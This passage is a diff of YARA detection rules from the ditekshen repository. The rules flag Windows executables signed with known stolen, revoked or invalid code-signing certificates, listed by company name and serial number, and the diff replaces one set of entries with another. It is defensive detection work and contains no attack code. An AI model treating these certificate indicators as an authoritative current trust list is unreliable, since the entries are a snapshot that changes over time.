 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2e57d646910c570f421939fd0d47ddee60bc38bb2ca2ba1991bf334cf8d5574b"
+		logic_hash = "154d7d814ff0b1c2d85557211dd68d0bd82e9953a9912ac3c26475a1316b0cb3"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "6c15651791ea8d91909a557eadabe3581b4d1be9"
+		thumbprint = "0ab2629e4e721a65ad35758d1455c1202aa643d3"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "AXIUM NORTHWESTERN HYDRO INC." and (pe.signatures[i].serial=="aa:1d:84:77:97:92:b5:7f:91:fe:7a:4b:de:04:19:42" or pe.signatures[i].serial=="00:aa:1d:84:77:97:92:b5:7f:91:fe:7a:4b:de:04:19:42"))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "GLOBAL PARK HORIZON SP Z O O" and pe.signatures[i].serial=="02:0b:c0:35:38:fb:dc:79:2f:39:d9:9a:24:a8:1b:97")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0690Ee21E99B1Cb3B599Bba7B9262Cdc : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_4E8D4Fc7D9F38Aca1169Fbf8Ef2Aaf50 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "0fa2103e-c04e-5380-b4e3-6ac35f0b71d8"
+		id = "03a23987-bbec-5072-bea4-56773bdc7d53"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7545-L7556"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L315-L326"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "bc2aac1bd21f80d4233af37028820a36ebd56bceed9b1318e99e75b28b9408e3"
+		logic_hash = "2b440d21183745ac89de56f5ca22cf3f01be3212e20ce80fa67a45adbb6b16fe"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "ff9a35ef5865024e49096672ab941b5c120657b9"
+		thumbprint = "7239764d40118fc1574a0af77a34e369971ddf6d"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Xiamen Tongbu Networks Ltd." and pe.signatures[i].serial=="06:90:ee:21:e9:9b:1c:b3:b5:99:bb:a7:b9:26:2c:dc")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "INFINITE PROGRAMMING LIMITED" and pe.signatures[i].serial=="4e:8d:4f:c7:d9:f3:8a:ca:11:69:fb:f8:ef:2a:af:50")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_425Dc3E0Ca8Bcdce19D00D87E3F0Ba28 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_09830675Eb483E265C3153F0A77C3De9 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "41423db4-c475-558b-9a27-2b0ea59102ad"
+		id = "3370886e-6866-598b-b3bf-29c7f2537425"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7558-L7569"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L328-L339"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0fc85d3d01b37ff7870cade6f8e0e756593ff0b5c9eea3b687ff52985caa20dd"
+		logic_hash = "b0a504ed2a2816602ac378a700567909812650f409626a7b2c1e25cf7f8cb51c"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "c58bc4370fa01d9a7772fa8c0e7c4c6c99b90561"
+		thumbprint = "1bb5503a2e1043616b915c4fce156c34304505d6"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Protover LLC" and pe.signatures[i].serial=="42:5d:c3:e0:ca:8b:cd:ce:19:d0:0d:87:e3:f0:ba:28")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "James LTH d.o.o." and pe.signatures[i].serial=="09:83:06:75:eb:48:3e:26:5c:31:53:f0:a7:7c:3d:e9")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00881573Fc67Ff7395Dde5Bccfbce5B088 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_351Fe2Efdc0Ac56A0C822Cf8 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "10ef1865-9267-5f06-a1d5-9196b00f3dc6"
+		id = "dcd82e7a-f235-5ff6-805b-0da7e0c0e385"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7571-L7585"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L341-L352"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5b137cccecb16ad116b73fa1f9025f76846b85009fbd4962956499031d6eff35"
+		logic_hash = "a661adcd9366da7eab0aa8059bbe6236022f7513996603eb06c43a0b38ff4b85"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "31b3a3c173c2a2d1086794bfc8d853e25e62fb46"
+		thumbprint = "4230bca4b7e4744058a7bb6e355346ff0bbeb26f"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Trade in Brasil s.r.o." and (pe.signatures[i].serial=="88:15:73:fc:67:ff:73:95:dd:e5:bc:cf:bc:e5:b0:88" or pe.signatures[i].serial=="00:88:15:73:fc:67:ff:73:95:dd:e5:bc:cf:bc:e5:b0:88"))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Logika OOO" and pe.signatures[i].serial=="35:1f:e2:ef:dc:0a:c5:6a:0c:82:2c:f8")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_15C5Af15Afecf1C900Cbab0Ca9165629 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_07Bb6A9D1C642C5973C16D5353B17Ca4 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "795fa78b-0cd4-5eb4-9d37-72b5c38e7466"
+		id = "a29590bb-d8f9-5842-81bd-f9a9f7cea642"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7587-L7599"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L354-L365"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "cfc72a85954cb12d89a09b47b5937216a7cfee4a71ac6335a2a94faadea1f68c"
+		logic_hash = "faecdcd78bc60f730bfe5a049fd0bd1309b44d185c0cbc81dfc326a162d5fcb2"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "69735ec138c555d9a0d410c450d8bcc7c222e104"
-		hash1 = "2ae575f006fc418c72a55ec5fdc26bc821aa3929114ee979b7065bf5072c488f"
+		thumbprint = "9de562e98a5928866ffc581b794edfbc249a2a07"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Kompaniya Auttek" and pe.signatures[i].serial=="15:c5:af:15:af:ec:f1:c9:00:cb:ab:0c:a9:16:56:29")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "MADAS d.o.o." and pe.signatures[i].serial=="07:bb:6a:9d:1c:64:2c:59:73:c1:6d:53:53:b1:7c:a4")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_12705Fb66Bc22C68372A1C4E5Fa662E2 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_044E05Bb1A01A1Cbb50Cfb6Cd24E5D6B : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "c9604f76-ad8a-5ac0-ba12-5030b12bedbf"
+		id = "e8dc8963-29c1-5306-bd7d-80ad9e1334d9"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7601-L7613"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L367-L378"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a212e491ce661dec5512f82eed42b1863afb75ce7fb185c41af178f3852b78c8"
+		logic_hash = "c433b63f9c875a564f424ecc8e9239701ce8be78cd0046c1eefca8cf732abca3"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "288959bd1e8dd12f773e9601dc21c57678769909"
-		hash1 = "151b1495d6d1c68e32cdba36d6d3e1d40c8c0d3c12e9e5bd566f1ee742b81b4e"
+		thumbprint = "149b7bbe88d4754f2900c88516ce97be605553ff"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "APRIL BROTHERS LTD" and pe.signatures[i].serial=="12:70:5f:b6:6b:c2:2c:68:37:2a:1c:4e:5f:a6:62:e2")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "MUSTER PLUS SP Z O O" and pe.signatures[i].serial=="04:4e:05:bb:1a:01:a1:cb:b5:0c:fb:6c:d2:4e:5d:6b")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_205483936F360924E8D2A4Eb6D3A9F31 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0C14B611A44A1Bae0E8C7581651845B6 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "5cce232b-4dfc-5931-a4ea-2e3df5616026"
+		id = "a6ebe304-e896-5cb3-8a49-ebffe0525601"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7615-L7627"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L380-L391"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "09bf63b88eda95aae094cecb868838f08b88a6b4fe2993145e20293034c12863"
+		logic_hash = "dae6318cf6f8e33e11af5c4b06379f8ef2744e784bb793c78f782b6a6286b84b"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "430dbeff2f6df708b03354d5d07e78400cfed8e9"
-		hash1 = "e58b9bbb7bcdf3e901453b7b9c9e514fed1e53565e3280353dccc77cde26a98e"
+		thumbprint = "c3288c7fbb01214c8f2dc3172c3f5c48f300cb8b"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SATURN CONSULTANCY LTD" and pe.signatures[i].serial=="20:54:83:93:6f:36:09:24:e8:d2:a4:eb:6d:3a:9f:31")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "NEEDCODE SP Z O O" and pe.signatures[i].serial=="0c:14:b6:11:a4:4a:1b:ae:0e:8c:75:81:65:18:45:b6")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_06Bcb74291D96096577Bdb1E165Dce85 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0B1926A5E8Ae50A0Efa504F005F93869 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "e7c24edc-2e59-5ee1-ad2f-d260b4014fdd"
+		id = "905a4b5c-3255-5f53-be54-429038378ee0"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7629-L7641"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L393-L404"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "34f533f7c7e12aaac9a1998654fae6ffde366affa90e9cba061b356fa7190e71"
+		logic_hash = "78d507f76d44ed982d12c293604d5c4fed14316cbc18473b7131bb89997bad28"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "d1bde6303266977f7540221543d3f2625da24ac4"
-		hash1 = "074cef597dc028b08dc2fe927ea60f09cfd5e19f928f2e4071860b9a159b365d"
+		thumbprint = "2052ed19dcb0e3dfff71d217be27fc5a11c0f0d4"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Revo Security SRL" and pe.signatures[i].serial=="06:bc:b7:42:91:d9:60:96:57:7b:db:1e:16:5d:ce:85")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Nordkod LLC" and pe.signatures[i].serial=="0b:19:26:a5:e8:ae:50:a0:ef:a5:04:f0:05:f9:38:69")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0D261C8470Adbb65800Ceaf3Eac70819 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0Bab6A2Aa84B495D9E554A4C42C0126D : FILE
 {
 	meta:
 		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "0304b3ae-6a3c-5831-a749-76432b3356b4"
+		id = "be364465-0cab-59cd-82a2-b7b16f260f34"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7643-L7655"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L406-L417"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e71f5d24500ac202aad5a439aa0d5f1bf7e6259c1d7e11bb40c7b9ae93bd86c0"
+		logic_hash = "a9ecdf1107cba0767ac3fa52c7dd65a13015e4fd735da70b6f1e6dbcfe2f7526"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "307ef8a02a0fc9032591c624624fa3531c235aa1"
-		hash1 = "050dbd816c222d3c012ba9f2b1308db8e160e7d891f231272f1eacf19d0a0a06"
+		thumbprint = "230614366ddac05c9120a852058c24fa89972535"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Bandicam Company Corp." and pe.signatures[i].serial=="0d:26:1c:84:70:ad:bb:65:80:0c:ea:f3:ea:c7:08:19")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "NOSOV SP Z O O" and pe.signatures[i].serial=="0b:ab:6a:2a:a8:4b:49:5d:9e:55:4a:4c:42:c0:12:6d")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_40E27B7404Aa9B485F8A2Fc0C8E53Af3 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_066226Cf6A4D8Ae1100961A0C5404Ff9 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "1aee45e6-ff0b-56a6-a50e-284bf2122e3b"
+		id = "75db8056-a5da-5db4-a837-84c5cc05f0fc"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7657-L7668"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L419-L430"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "95a0bcf9b52ba8f4b63453abf0ee28027689450557a2408c6b27f8aafcbbe945"
+		logic_hash = "0b7fa450d143de99650d0364e461178ad4e0b147b19dae53b59928b2a17c9b6d"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "ca468ff8403a8416042705e79dbc499a5ea9be85"
+		thumbprint = "8c762918a58ebccb1713720c405088743c0d6d20"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Southern Wall Systems, LLC" and pe.signatures[i].serial=="40:e2:7b:74:04:aa:9b:48:5f:8a:2f:c0:c8:e5:3a:f3")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO MEP" and pe.signatures[i].serial=="06:62:26:cf:6a:4d:8a:e1:10:09:61:a0:c5:40:4f:f9")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_627Dfdf73A1455De5143A270799E6B7B : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0E96837Dbe5F4548547203919B96Ac27 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "7d5f0279-9498-5713-9c02-a025268d108f"
+		id = "83258afe-66e0-56d1-8361-125a1142ffe4"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7670-L7681"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L432-L443"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "833e772e56e87f730ee1acb9d6ed747d239903cfd9470d777efab73c5d656f49"
+		logic_hash = "2eedcc1d782df3c078c20a275680c2ff724e5b7675890af1335ff22d6138ab25"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "7b69ff55d3c39bd7d67a10f341c1443425f0c83f"
+		thumbprint = "d6c6a0a4a57af645c9cad90b57c696ad9ad9fcf9"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Zhuhai liancheng Technology Co., Ltd." and pe.signatures[i].serial=="62:7d:fd:f7:3a:14:55:de:51:43:a2:70:79:9e:6b:7b")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "PLAN CORP PTY LTD" and pe.signatures[i].serial=="0e:96:83:7d:be:5f:45:48:54:72:03:91:9b:96:ac:27")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_1966Bc76Bda1A708334792Da9A336F69 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_5B320A2F46C99C1Ba1357Bee : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "254ccdb7-df1c-560a-af68-123ea66c3463"
+		id = "376aab03-0bc7-5993-bbbd-9bf5b742d29d"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7683-L7694"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L445-L456"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d0293e76f8a595d769fd302829bd94a576d647bbacb586728e804bf4dce1af78"
+		logic_hash = "b0a515aa69b5de58cf7d1a496f95038e090cefe511803e7a29332b411a20d19f"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "29fec27c36efc6809c7269f76cf86ee18cc6ed87"
+		thumbprint = "5ae8bd51ffa8e82f8f3d8297c4f9caf5e30f425a"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SYNTHETIC LABS LIMITED" and pe.signatures[i].serial=="19:66:bc:76:bd:a1:a7:08:33:47:92:da:9a:33:6f:69")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "REGION TOURISM LLC" and pe.signatures[i].serial=="5b:32:0a:2f:46:c9:9c:1b:a1:35:7b:ee")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_82D224323Efa65060B641F51Fadfef02 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_02C5351936Abe405Ac760228A40387E8 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "2c0b0e6d-2c82-506b-88ea-a6d49f0f64a6"
+		id = "32e200c3-678f-5be4-b55b-2a7a32e56843"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7696-L7710"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L458-L469"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3ed849dfd905e01145274d41b3bbb2c0265b099e540ac17909b6ed59f006e245"
+		logic_hash = "ae9e428c5e7c1ab67be291da93e6d3fa694e3a9b347672817cbf1cac44837a04"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "8dccf6ad21a58226521e36d7e5dbad133331c181"
+		thumbprint = "1174c2affb0a364c1b7a231168cfdda5989c04c5"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SAVAS INVESTMENTS PTY LTD" and (pe.signatures[i].serial=="82:d2:24:32:3e:fa:65:06:0b:64:1f:51:fa:df:ef:02" or pe.signatures[i].serial=="00:82:d2:24:32:3e:fa:65:06:0b:64:1f:51:fa:df:ef:02"))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "RESURS-RM OOO" and pe.signatures[i].serial=="02:c5:35:19:36:ab:e4:05:ac:76:02:28:a4:03:87:e8")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Be2F22C152Bb218B898C4029056816A9 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_08D4352185317271C1Cec9D05C279Af7 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "50c0cee3-39d5-5c57-9515-11356f8cab93"
+		id = "a0197037-874c-55e7-80aa-e8b7156a26a3"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7712-L7726"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L471-L482"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9eba1585d92b184afb7b75b84e0010539ac42ca27e4d5d8bccee6b01e3471cca"
+		logic_hash = "6f4b8a52e152097a6e18f55b6b677eb1ba0f4da78ce68ffa35510bfb485e01e9"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "85fe11e799609306516d82e026d4baef4c1e9ad3"
+		thumbprint = "52fe4ecd6c925e89068fee38f1b9a669a70f8bab"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Marts GmbH" and (pe.signatures[i].serial=="be:2f:22:c1:52:bb:21:8b:89:8c:40:29:05:68:16:a9" or pe.signatures[i].serial=="00:be:2f:22:c1:52:bb:21:8b:89:8c:40:29:05:68:16:a9"))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Retalit LLC" and pe.signatures[i].serial=="08:d4:35:21:85:31:72:71:c1:ce:c9:d0:5c:27:9a:f7")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_29E8E993D2406454B6B18Cb377471Bc6 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0Ed8Ade5D73B73Dade6943D557Ff87E5 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "a80f015c-3793-52ac-a405-1a7fe2ca0caa"
+		id = "ebdab290-d388-528e-b392-0ae87941b69d"
 		date = "2023-12-08"
 		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7728-L7739"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L484-L495"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "bf248e664d00675d3fc87070b6358ca7539ef6e748b8bfafcba7ecb91cb1ea05"
+		logic_hash = "e2e269a83a86567bf359996945cddc597406033aa7c5a7acf30b58d30816b28f"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "0fb38235366b0ba534a6f81c02d9a67555235e07"
+		thumbprint = "9bbd8476bf8b62be738437af628d525895a2c9c9"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "MONDIAL MONTERO SP Z O O" and pe.signatures[i].serial=="29:e8:e9:93:d2:40:64:54:b6:b1:8c:b3:77:47:1b:c6")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Rumikon LLC" and pe.signatures[i].serial=="0e:d8:ad:e5:d7:3b:73:da:de:69:43:d5:57:ff:87:e5")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_6Daa67498C3A5D8133F28Fefe9Ccc20E : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0Ed1847A2Ae5D71Def1E833Fddd33D38 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
